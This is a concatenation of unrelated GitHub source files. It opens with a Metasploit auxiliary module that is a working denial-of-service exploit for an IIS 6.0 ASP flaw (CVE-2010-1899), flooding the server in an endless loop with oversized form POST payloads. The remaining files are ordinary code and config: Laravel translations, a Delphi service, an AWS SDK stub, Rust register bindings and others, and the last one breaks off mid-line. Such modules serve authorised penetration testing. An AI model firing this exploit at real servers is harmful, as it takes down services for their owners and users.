## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service', 'Description' => %q{ The vulnerability allows remote unauthenticated attackers to force the IIS server to become unresponsive until the IIS service is restarted manually by the administrator. Required is that Active Server Pages are hosted by the IIS and that an ASP script reads out a Post Form value. }, 'Author' => [ 'Heyder Andrade <heyder[at]alligatorteam.org>', 'Leandro Oliveira <leadro[at]alligatorteam.org>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-1899' ], [ 'OSVDB', '67978'], [ 'MSB', 'MS10-065'], [ 'EDB', '15167' ] ], 'DisclosureDate' => 'Sep 14 2010')) register_options( [ Opt::RPORT(80), OptString.new('VHOST', [ false, 'The virtual host name to use in requests']), OptString.new('URI', [ true, 'URI to request', '/page.asp' ]) ]) end def run uri = datastore['URI'] print_status("Attacking http://#{datastore['VHOST'] || rhost}:#{rport}#{uri}") begin while(1) begin connect payload = "C=A&" * 40000 length = payload.size sploit = "HEAD #{uri} HTTP/1.1\r\n" sploit << "Host: #{datastore['VHOST'] || rhost}\r\n" sploit << "Connection:Close\r\n" sploit << "Content-Type: application/x-www-form-urlencoded\r\n" sploit << "Content-Length:#{length} \r\n\r\n" sploit << payload sock.put(sploit) #print_status("DoS packet sent.") disconnect rescue Errno::ECONNRESET next end end rescue Errno::EPIPE print_good("IIS should now be unavailable") end end end
{ "pile_set_name": "Github" }
<?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => ':attribute स्वीकार्नु पर्छ।', 'active_url' => ':attribute मान्य URL होईन।', 'after' => ':attribute पछाडि मिति हुनुपर्दछ :date।', 'after_or_equal' => ':attribute पछाडि वा बराबर मिति हुनुपर्दछ :date।', 'alpha' => ':attribute केवल अक्षरहरू समावेश हुन सक्छ।', 'alpha_dash' => ':attribute अक्षर, संख्या, र ड्यासहरू मात्र समावेश हुन सक्छ।', 'alpha_num' => ':attribute अक्षर र संख्याहरू मात्र समावेश हुन सक्छ।', 'array' => ':attribute एर्रे हुनुपर्दछ।', 'before' => ':attribute अघि मिति हुनुपर्दछ :date।', 'before_or_equal' => ':attribute अघिल्लो वा बराबर मिति हुनुपर्दछ :date।', 'between' => [ 'numeric' => ':attribute बीचमा हुनुपर्दछ :min र :max।', 'file' => ':attribute बीचमा हुनुपर्दछ :min र :max किलोबाइट्स।', 'string' => ':attribute बीचमा हुनुपर्दछ :min र :max पात्रहरू।', 'array' => ':attribute बीचमा हुनुपर्दछ :min र :max वस्तुहरू।', ], 'boolean' => ':attribute क्षेत्र सहि वा गलत हुन पर्छ।', 'confirmed' => ':attribute पुष्टिकरण मेल खाँदैन।', 'date' => ':attribute मान्य मिति होईन।', 'date_format' => ':attribute ढाँचासँग मेल खाँदैन :format।', 'different' => ':attribute र :other फरक हुनुपर्दछ।', 'digits' => ':attribute हुनै पर्छ :digits अंक।', 'digits_between' => ':attribute बीचमा हुनुपर्दछ :min र :max अंक।', 'dimensions' => ':attributeअवैध छवि आयाम छ।', 'distinct' => ':attribute क्षेत्रको एक नक्कल मान छ।', 'email' => ':attribute एक मान्य ईमेल ठेगाना हुनुपर्दछ।', 'exists' => 'चयनित :attribute अवैध छ।', 'file' => ':attribute फाईल हुनुपर्दछ।', 'filled' => ':attribute क्षेत्र आवश्यक छ।', 'image' => ':attribute छवि हुनुपर्दछ।', 'in' => 'चयनित :attribute अवैध छ।', 'in_array' => ':attribute क्षेत्र अवस्थित छैन :other।', 'integer' => ':attribute पूर्णांक हुनुपर्दछ।', 'ip' => ':attribute एक मान्य आईपी ठेगाना हुनुपर्दछ।', 'json' => ':attribute एक मान्य JSON स्ट्रि be हुनुपर्दछ।', 'max' => [ 'numeric' => ':attribute भन्दा ठूलो नहुन सक्छ :max।', 'file' => ':attribute भन्दा ठूलो नहुन सक्छ :max किलोबाइट्स।', 'string' => ':attribute भन्दा ठूलो नहुन सक्छ :max पात्रहरू।', 'array' => ':attribute भन्दा ठूलो नहुन सक्छ :max वस्तुहरू।', ], 'mimes' => ':attribute प्रकारको फाईल हुनुपर्दछ: :values।', 'mimetypes' => ':attribute प्रकारको फाईल हुनुपर्दछ: :values।', 'min' => [ 'numeric' => ':attribute कम्तिमा हुनु पर्छ :min।', 'file' => ':attribute कम्तिमा हुनु पर्छ :min किलोबाइट्स।', 'string' => ':attribute कम्तिमा हुनु पर्छ :min पात्रहरू।', 'array' => ':attribute कम्तिमा हुनुपर्दछ :min वस्तुहरू।', ], 'not_in' => 'चयनित :attribute अवैध छ।', 'numeric' => ':attribute संख्या हुनुपर्दछ', 'present' => ':attribute क्षेत्र उपस्थित हुनुपर्दछ।', 'regex' => ':attribute ढाँचा अवैध छ।', 'required' => ':attribute क्षेत्र आवश्यक छ।', 'required_if' => ':attribute क्षेत्र आवश्यक हुन्छ जब :other छ :value।', 'required_unless' => ':attribute क्षेत्र आवश्यक पर्दछ जबसम्म :other मा छ :values।', 'required_with' => ':attribute क्षेत्र आवश्यक हुन्छ जब :values उपस्थित छ।', 'required_with_all' => ':attribute क्षेत्र आवश्यक हुन्छ जब :values उपस्थित छ।', 'required_without' => ':attribute क्षेत्र आवश्यक हुन्छ जब :values उपस्थित छैन।', 'required_without_all' => ':attribute फिल्ड आवश्यक छ जब कुनै पनि होइन :values उपस्थित छन्।', 'same' => ':attribute र :other मिल्नै पर्छ।', 'size' => [ 'numeric' => ':attribute हुनै पर्छ :size।', 'file' => ':attribute हुनै पर्छ :size किलोबाइट्स।', 'string' => ':attribute हुनै पर्छ :size पात्रहरू।', 'array' => ':attribute हुनु पर्छ :size वस्तुहरू।', ], 'string' => ':attribute स्ट्रि be हुनै पर्दछ।', 'timezone' => ':attribute एक मान्य क्षेत्र हुनुपर्दछ।', 'unique' => ':attribute पहिले नै लिइएको छ।', 'uploaded' => ':attribute अपलोड गर्न असफल भयो।', 'url' => ':attribute ढाँचा अवैध छ।', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], ];
{ "pile_set_name": "Github" }
(* Copyright 2016, MARS-Curiosity - REST Library Home: https://github.com/andrea-magni/MARS *) program ToDoListService; {$I MARS.inc} uses {$ifdef DelphiXE3_UP} Vcl.SvcMgr, {$else} SvcMgr, {$endif} Server.Service in 'Server.Service.pas' {ServerService: TService}, Server.Ignition in 'Server.Ignition.pas', Server.Resources in 'Server.Resources.pas', Server.WebModule in 'Server.WebModule.pas' {ServerWebModule: TWebModule}; {$R *.RES} begin // Windows 2003 Server requires StartServiceCtrlDispatcher to be // called before CoRegisterClassObject, which can be called indirectly // by Application.Initialize. TServiceApplication.DelayInitialize allows // Application.Initialize to be called from TService.Main (after // StartServiceCtrlDispatcher has been called). // // Delayed initialization of the Application object may affect // events which then occur prior to initialization, such as // TService.OnCreate. It is only recommended if the ServiceApplication // registers a class object with OLE and is intended for use with // Windows 2003 Server. // // Application.DelayInitialize := True; // if not Application.DelayInitialize or Application.Installing then Application.Initialize; Application.CreateForm(TServerService, ServerService); Application.Run; end.
{ "pile_set_name": "Github" }
Trackable Client Entities ReadMe NOTE: You should first install the Entity Framework Power Tools. Support for EF 6.1 Tools for Visual Studio has be added, but it can only be used to generate client entities using a .NET 4.5 class library project, from which you can copy or link model classes to the Client.Entities project. This project template references the TrackableEntities.Client NuGet package, which contains a ChangeTrackingCollection<T> that sets the TrackingState and ModifiedProperties properties on each entity. To get started, right-click on the project, select Entity Framework, Reverse Engineer Code First. The tool will generate classes for data context and mapping classes, as well as trackable client entities. IMPORTANT: After running the tool, be sure to delete the Mapping folder and classes, and also the DbContext-derived class that was generated. These must be removed because the project will not reference the Entity Framework NuGet package. Clients should avoid referencing any particular data access library and instead invoke a service for retrieving and saving entities to a database. This project is based on a portable class library and can be referenced from clients based on .NET 4.5, Silverlight 5, Windows Phone 8 and higher, or Windows Store Apps.
{ "pile_set_name": "Github" }
ref: refs/remotes/origin/master
{ "pile_set_name": "Github" }
package com.u8.server.sdk.mumayi; import com.u8.server.data.UChannel; import com.u8.server.data.UOrder; import com.u8.server.data.UUser; import com.u8.server.log.Log; import com.u8.server.sdk.*; import net.sf.json.JSONObject; import java.io.UnsupportedEncodingException; import java.util.HashMap; import java.util.Map; /** * 木蚂蚁 * Created by ant on 2015/4/30. */ public class MuMaYiSDK implements ISDKScript{ @Override public void verify(final UChannel channel, String extension, final ISDKVerifyListener callback) { try{ JSONObject json = JSONObject.fromObject(extension); final String sid = json.getString("uid"); final String username = json.getString("username"); final String token = json.getString("token"); Map<String,String> params = new HashMap<String, String>(); params.put("uid", sid); params.put("token", token); String url = channel.getChannelAuthUrl(); UHttpAgent.getInstance().post(url, params, new UHttpFutureCallback() { @Override public void completed(String result) { try { if("success".equals(result)){ callback.onSuccess(new SDKVerifyResult(true, sid, username, "")); return; } } catch (Exception e) { e.printStackTrace(); } callback.onFailed(channel.getMaster().getSdkName() + " verify failed. the post result is " + result); } @Override public void failed(String e) { callback.onFailed(channel.getMaster().getSdkName() + " verify failed. " + e); } }); }catch (Exception e){ e.printStackTrace(); callback.onFailed(channel.getMaster().getSdkName() + " verify execute failed. the exception is "+e.getMessage()); } } @Override public void onGetOrderID(UUser user, UOrder order, ISDKOrderListener callback) { if(callback != null){ callback.onSuccess(""); } } public static boolean verify(String sign , String appKey , String orderId) throws UnsupportedEncodingException { if(sign.length()<14){ return false; } String verityStr = sign.substring(0,8); sign = sign.substring(8); String temp = MD5Util.toMD5(sign); if(!verityStr.equals(temp.substring(0,8))){ return false; } String keyB = sign.substring(0,6); String randKey = keyB+appKey; randKey = MD5Util.toMD5(randKey); byte[] signB = Base64.decodeFast(sign.substring(6)); int signLength = signB.length; String verfic=""; for(int i =0 ; i< signLength ; i++){ char b = (char)(signB[i]^randKey.getBytes()[i%32]); verfic +=String.valueOf(b); } return verfic.equals(orderId); } }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <title>Test for calc() on background-image gradients</title> <style> p { height: 50px; width: 200px; border: thin solid; } #one { background-image: -moz-radial-gradient(150px 20px, circle farthest-side, red, green); } #two { background-image: -moz-linear-gradient(-22px -35px -45deg, blue, yellow); } </style> <p id="one"></p> <p id="two"></p>
{ "pile_set_name": "Github" }
<?php namespace Aws\Neptune; use Aws\AwsClient; /** * This client is used to interact with the **Amazon Neptune** service. * @method \Aws\Result addRoleToDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise addRoleToDBClusterAsync(array $args = []) * @method \Aws\Result addSourceIdentifierToSubscription(array $args = []) * @method \GuzzleHttp\Promise\Promise addSourceIdentifierToSubscriptionAsync(array $args = []) * @method \Aws\Result addTagsToResource(array $args = []) * @method \GuzzleHttp\Promise\Promise addTagsToResourceAsync(array $args = []) * @method \Aws\Result applyPendingMaintenanceAction(array $args = []) * @method \GuzzleHttp\Promise\Promise applyPendingMaintenanceActionAsync(array $args = []) * @method \Aws\Result copyDBClusterParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise copyDBClusterParameterGroupAsync(array $args = []) * @method \Aws\Result copyDBClusterSnapshot(array $args = []) * @method \GuzzleHttp\Promise\Promise copyDBClusterSnapshotAsync(array $args = []) * @method \Aws\Result copyDBParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise copyDBParameterGroupAsync(array $args = []) * @method \Aws\Result createDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBClusterAsync(array $args = []) * @method \Aws\Result createDBClusterParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBClusterParameterGroupAsync(array $args = []) * @method \Aws\Result createDBClusterSnapshot(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBClusterSnapshotAsync(array $args = []) * @method \Aws\Result createDBInstance(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBInstanceAsync(array $args = []) * @method \Aws\Result createDBParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBParameterGroupAsync(array $args = []) * @method \Aws\Result createDBSubnetGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise createDBSubnetGroupAsync(array $args = []) * @method \Aws\Result createEventSubscription(array $args = []) * @method \GuzzleHttp\Promise\Promise createEventSubscriptionAsync(array $args = []) * @method \Aws\Result deleteDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBClusterAsync(array $args = []) * @method \Aws\Result deleteDBClusterParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBClusterParameterGroupAsync(array $args = []) * @method \Aws\Result deleteDBClusterSnapshot(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBClusterSnapshotAsync(array $args = []) * @method \Aws\Result deleteDBInstance(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBInstanceAsync(array $args = []) * @method \Aws\Result deleteDBParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBParameterGroupAsync(array $args = []) * @method \Aws\Result deleteDBSubnetGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteDBSubnetGroupAsync(array $args = []) * @method \Aws\Result deleteEventSubscription(array $args = []) * @method \GuzzleHttp\Promise\Promise deleteEventSubscriptionAsync(array $args = []) * @method \Aws\Result describeDBClusterParameterGroups(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBClusterParameterGroupsAsync(array $args = []) * @method \Aws\Result describeDBClusterParameters(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBClusterParametersAsync(array $args = []) * @method \Aws\Result describeDBClusterSnapshotAttributes(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBClusterSnapshotAttributesAsync(array $args = []) * @method \Aws\Result describeDBClusterSnapshots(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBClusterSnapshotsAsync(array $args = []) * @method \Aws\Result describeDBClusters(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBClustersAsync(array $args = []) * @method \Aws\Result describeDBEngineVersions(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBEngineVersionsAsync(array $args = []) * @method \Aws\Result describeDBInstances(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBInstancesAsync(array $args = []) * @method \Aws\Result describeDBParameterGroups(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBParameterGroupsAsync(array $args = []) * @method \Aws\Result describeDBParameters(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBParametersAsync(array $args = []) * @method \Aws\Result describeDBSubnetGroups(array $args = []) * @method \GuzzleHttp\Promise\Promise describeDBSubnetGroupsAsync(array $args = []) * @method \Aws\Result describeEngineDefaultClusterParameters(array $args = []) * @method \GuzzleHttp\Promise\Promise describeEngineDefaultClusterParametersAsync(array $args = []) * @method \Aws\Result describeEngineDefaultParameters(array $args = []) * @method \GuzzleHttp\Promise\Promise describeEngineDefaultParametersAsync(array $args = []) * @method \Aws\Result describeEventCategories(array $args = []) * @method \GuzzleHttp\Promise\Promise describeEventCategoriesAsync(array $args = []) * @method \Aws\Result describeEventSubscriptions(array $args = []) * @method \GuzzleHttp\Promise\Promise describeEventSubscriptionsAsync(array $args = []) * @method \Aws\Result describeEvents(array $args = []) * @method \GuzzleHttp\Promise\Promise describeEventsAsync(array $args = []) * @method \Aws\Result describeOrderableDBInstanceOptions(array $args = []) * @method \GuzzleHttp\Promise\Promise describeOrderableDBInstanceOptionsAsync(array $args = []) * @method \Aws\Result describePendingMaintenanceActions(array $args = []) * @method \GuzzleHttp\Promise\Promise describePendingMaintenanceActionsAsync(array $args = []) * @method \Aws\Result describeValidDBInstanceModifications(array $args = []) * @method \GuzzleHttp\Promise\Promise describeValidDBInstanceModificationsAsync(array $args = []) * @method \Aws\Result failoverDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise failoverDBClusterAsync(array $args = []) * @method \Aws\Result listTagsForResource(array $args = []) * @method \GuzzleHttp\Promise\Promise listTagsForResourceAsync(array $args = []) * @method \Aws\Result modifyDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBClusterAsync(array $args = []) * @method \Aws\Result modifyDBClusterParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBClusterParameterGroupAsync(array $args = []) * @method \Aws\Result modifyDBClusterSnapshotAttribute(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBClusterSnapshotAttributeAsync(array $args = []) * @method \Aws\Result modifyDBInstance(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBInstanceAsync(array $args = []) * @method \Aws\Result modifyDBParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBParameterGroupAsync(array $args = []) * @method \Aws\Result modifyDBSubnetGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyDBSubnetGroupAsync(array $args = []) * @method \Aws\Result modifyEventSubscription(array $args = []) * @method \GuzzleHttp\Promise\Promise modifyEventSubscriptionAsync(array $args = []) * @method \Aws\Result promoteReadReplicaDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise promoteReadReplicaDBClusterAsync(array $args = []) * @method \Aws\Result rebootDBInstance(array $args = []) * @method \GuzzleHttp\Promise\Promise rebootDBInstanceAsync(array $args = []) * @method \Aws\Result removeRoleFromDBCluster(array $args = []) * @method \GuzzleHttp\Promise\Promise removeRoleFromDBClusterAsync(array $args = []) * @method \Aws\Result removeSourceIdentifierFromSubscription(array $args = []) * @method \GuzzleHttp\Promise\Promise removeSourceIdentifierFromSubscriptionAsync(array $args = []) * @method \Aws\Result removeTagsFromResource(array $args = []) * @method \GuzzleHttp\Promise\Promise removeTagsFromResourceAsync(array $args = []) * @method \Aws\Result resetDBClusterParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise resetDBClusterParameterGroupAsync(array $args = []) * @method \Aws\Result resetDBParameterGroup(array $args = []) * @method \GuzzleHttp\Promise\Promise resetDBParameterGroupAsync(array $args = []) * @method \Aws\Result restoreDBClusterFromSnapshot(array $args = []) * @method \GuzzleHttp\Promise\Promise restoreDBClusterFromSnapshotAsync(array $args = []) * @method \Aws\Result restoreDBClusterToPointInTime(array $args = []) * @method \GuzzleHttp\Promise\Promise restoreDBClusterToPointInTimeAsync(array $args = []) */ class NeptuneClient extends AwsClient {}
{ "pile_set_name": "Github" }
#[doc = "Reader of register BGCR_EMMC_MODE"] pub type R = crate::R<u8, super::BGCR_EMMC_MODE>; #[doc = "Writer for register BGCR_EMMC_MODE"] pub type W = crate::W<u8, super::BGCR_EMMC_MODE>; #[doc = "Register BGCR_EMMC_MODE `reset()`'s with value 0"] impl crate::ResetValue for super::BGCR_EMMC_MODE { type Type = u8; #[inline(always)] fn reset_value() -> Self::Type { 0 } } #[doc = "Stop at Block Gap Request\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum STPBGR_A { #[doc = "0: Transfer"] TRANSFER = 0, #[doc = "1: Stop"] STOP = 1, } impl From<STPBGR_A> for bool { #[inline(always)] fn from(variant: STPBGR_A) -> Self { variant as u8 != 0 } } #[doc = "Reader of field `STPBGR`"] pub type STPBGR_R = crate::R<bool, STPBGR_A>; impl STPBGR_R { #[doc = r"Get enumerated values variant"] #[inline(always)] pub fn variant(&self) -> STPBGR_A { match self.bits { false => STPBGR_A::TRANSFER, true => STPBGR_A::STOP, } } #[doc = "Checks if the value of the field is `TRANSFER`"] #[inline(always)] pub fn is_transfer(&self) -> bool { *self == STPBGR_A::TRANSFER } #[doc = "Checks if the value of the field is `STOP`"] #[inline(always)] pub fn is_stop(&self) -> bool { *self == STPBGR_A::STOP } } #[doc = "Write proxy for field `STPBGR`"] pub struct STPBGR_W<'a> { w: &'a mut W, } impl<'a> STPBGR_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: STPBGR_A) -> &'a mut W { { self.bit(variant.into()) } } #[doc = "Transfer"] #[inline(always)] pub fn transfer(self) -> &'a mut W { self.variant(STPBGR_A::TRANSFER) } #[doc = "Stop"] #[inline(always)] pub fn stop(self) -> &'a mut W { self.variant(STPBGR_A::STOP) } #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits = (self.w.bits & !0x01) | ((value as u8) & 0x01); self.w } } #[doc = "Continue Request\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum CONTR_A { #[doc = "0: Not affected"] GO_ON = 0, #[doc = "1: Restart"] RESTART = 1, } impl From<CONTR_A> for bool { #[inline(always)] fn from(variant: CONTR_A) -> Self { variant as u8 != 0 } } #[doc = "Reader of field `CONTR`"] pub type CONTR_R = crate::R<bool, CONTR_A>; impl CONTR_R { #[doc = r"Get enumerated values variant"] #[inline(always)] pub fn variant(&self) -> CONTR_A { match self.bits { false => CONTR_A::GO_ON, true => CONTR_A::RESTART, } } #[doc = "Checks if the value of the field is `GO_ON`"] #[inline(always)] pub fn is_go_on(&self) -> bool { *self == CONTR_A::GO_ON } #[doc = "Checks if the value of the field is `RESTART`"] #[inline(always)] pub fn is_restart(&self) -> bool { *self == CONTR_A::RESTART } } #[doc = "Write proxy for field `CONTR`"] pub struct CONTR_W<'a> { w: &'a mut W, } impl<'a> CONTR_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: CONTR_A) -> &'a mut W { { self.bit(variant.into()) } } #[doc = "Not affected"] #[inline(always)] pub fn go_on(self) -> &'a mut W { self.variant(CONTR_A::GO_ON) } #[doc = "Restart"] #[inline(always)] pub fn restart(self) -> &'a mut W { self.variant(CONTR_A::RESTART) } #[doc = r"Sets the field bit"] #[inline(always)] pub fn set_bit(self) -> &'a mut W { self.bit(true) } #[doc = r"Clears the field bit"] #[inline(always)] pub fn clear_bit(self) -> &'a mut W { self.bit(false) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bit(self, value: bool) -> &'a mut W { self.w.bits = (self.w.bits & !(0x01 << 1)) | (((value as u8) & 0x01) << 1); self.w } } impl R { #[doc = "Bit 0 - Stop at Block Gap Request"] #[inline(always)] pub fn stpbgr(&self) -> STPBGR_R { STPBGR_R::new((self.bits & 0x01) != 0) } #[doc = "Bit 1 - Continue Request"] #[inline(always)] pub fn contr(&self) -> CONTR_R { CONTR_R::new(((self.bits >> 1) & 0x01) != 0) } } impl W { #[doc = "Bit 0 - Stop at Block Gap Request"] #[inline(always)] pub fn stpbgr(&mut self) -> STPBGR_W { STPBGR_W { w: self } } #[doc = "Bit 1 - Continue Request"] #[inline(always)] pub fn contr(&mut self) -> CONTR_W { CONTR_W { w: self } } }
{ "pile_set_name": "Github" }
package dominando.android.data_room import dominando.android.data.model.Book import dominando.android.data_room.entity.Book as BookEntity import java.util.UUID object BookConverter { fun fromData(binding: Book) = BookEntity( if (binding.id.isBlank()) UUID.randomUUID().toString() else binding.id, binding.title, binding.author, binding.coverUrl, binding.pages, binding.year, binding.publisher!!, binding.available, binding.mediaType, binding.rating ) fun toData(entity: BookEntity) = Book().apply { id = entity.id title = entity.title author = entity.author coverUrl = entity.coverUrl pages = entity.pages year = entity.year publisher = entity.publisher available = entity.available mediaType = entity.mediaType rating = entity.rating } }
{ "pile_set_name": "Github" }
/* * Copyright 2012-2016 Michael Hoffer <info@michaelhoffer.de>. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Please cite the following publication(s): * * M. Hoffer, C.Poliwoda, G.Wittum. Visual Reflection Library - * A Framework for Declarative GUI Programming on the Java Platform. * Computing and Visualization in Science, 2011, in press. * * THIS SOFTWARE IS PROVIDED BY Michael Hoffer <info@michaelhoffer.de> "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Michael Hoffer <info@michaelhoffer.de> OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * The views and conclusions contained in the software and documentation are those of the * authors and should not be interpreted as representing official policies, either expressed * or implied, of Michael Hoffer <info@michaelhoffer.de>. */ package jfxtras.internal.scene.control.skin.window; import javafx.event.ActionEvent; import javafx.event.EventHandler; import javafx.scene.Cursor; import javafx.scene.control.SkinBase; import javafx.scene.input.MouseEvent; import jfxtras.scene.control.window.WindowIcon; /** * * @author Michael Hoffer &lt;info@michaelhoffer.de&gt; */ public class DefaultWindowIconSkin extends SkinBase<WindowIcon> { public DefaultWindowIconSkin(final WindowIcon c) { super(c); getNode().setCursor(Cursor.DEFAULT); getNode().onMouseClickedProperty().set((EventHandler<MouseEvent>) (MouseEvent t) -> { if (c.getOnAction()!=null) { c.getOnAction().handle(new ActionEvent(t, c)); } }); } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012 Stephen A. Pratt * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using org.critterai.geom; namespace org.critterai.nmbuild.u3d.editor { internal struct InputAssets { public InputBuildInfo info; public TriangleMesh geometry; public byte[] areas; public ConnectionSet conns; public INMGenProcessor[] processors; } }
{ "pile_set_name": "Github" }
<?php /** * Zend Framework (http://framework.zend.com/) * * @link http://github.com/zendframework/zf2 for the canonical source repository * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ namespace Zend\Http\Header\Accept\FieldValuePart; /** * Field Value Part * * * @see http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.1 */ class CharsetFieldValuePart extends AbstractFieldValuePart { /** * * @return string */ public function getCharset() { return $this->getInternalValues()->type; } }
{ "pile_set_name": "Github" }
/* * Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH * under one or more contributor license agreements. See the NOTICE file * distributed with this work for additional information regarding copyright * ownership. Camunda licenses this file to you under the Apache License, * Version 2.0; you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.camunda.bpm.application.impl.embedded; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; import java.util.List; import java.util.Set; import org.camunda.bpm.BpmPlatform; import org.camunda.bpm.container.RuntimeContainerDelegate; import org.camunda.bpm.engine.ProcessEngine; import org.camunda.bpm.engine.ProcessEngineConfiguration; import org.camunda.bpm.engine.impl.ProcessEngineImpl; import org.camunda.bpm.engine.repository.Deployment; import org.camunda.bpm.engine.repository.ProcessApplicationDeployment; import org.camunda.bpm.engine.repository.Resource; import org.camunda.bpm.engine.test.util.PluggableProcessEngineTest; import org.junit.After; import org.junit.Before; import org.junit.Test; /** * @author Daniel Meyer * */ public class EmbeddedProcessApplicationTest extends PluggableProcessEngineTest { protected RuntimeContainerDelegate runtimeContainerDelegate = RuntimeContainerDelegate.INSTANCE.get(); protected boolean defaultEngineRegistered; public void 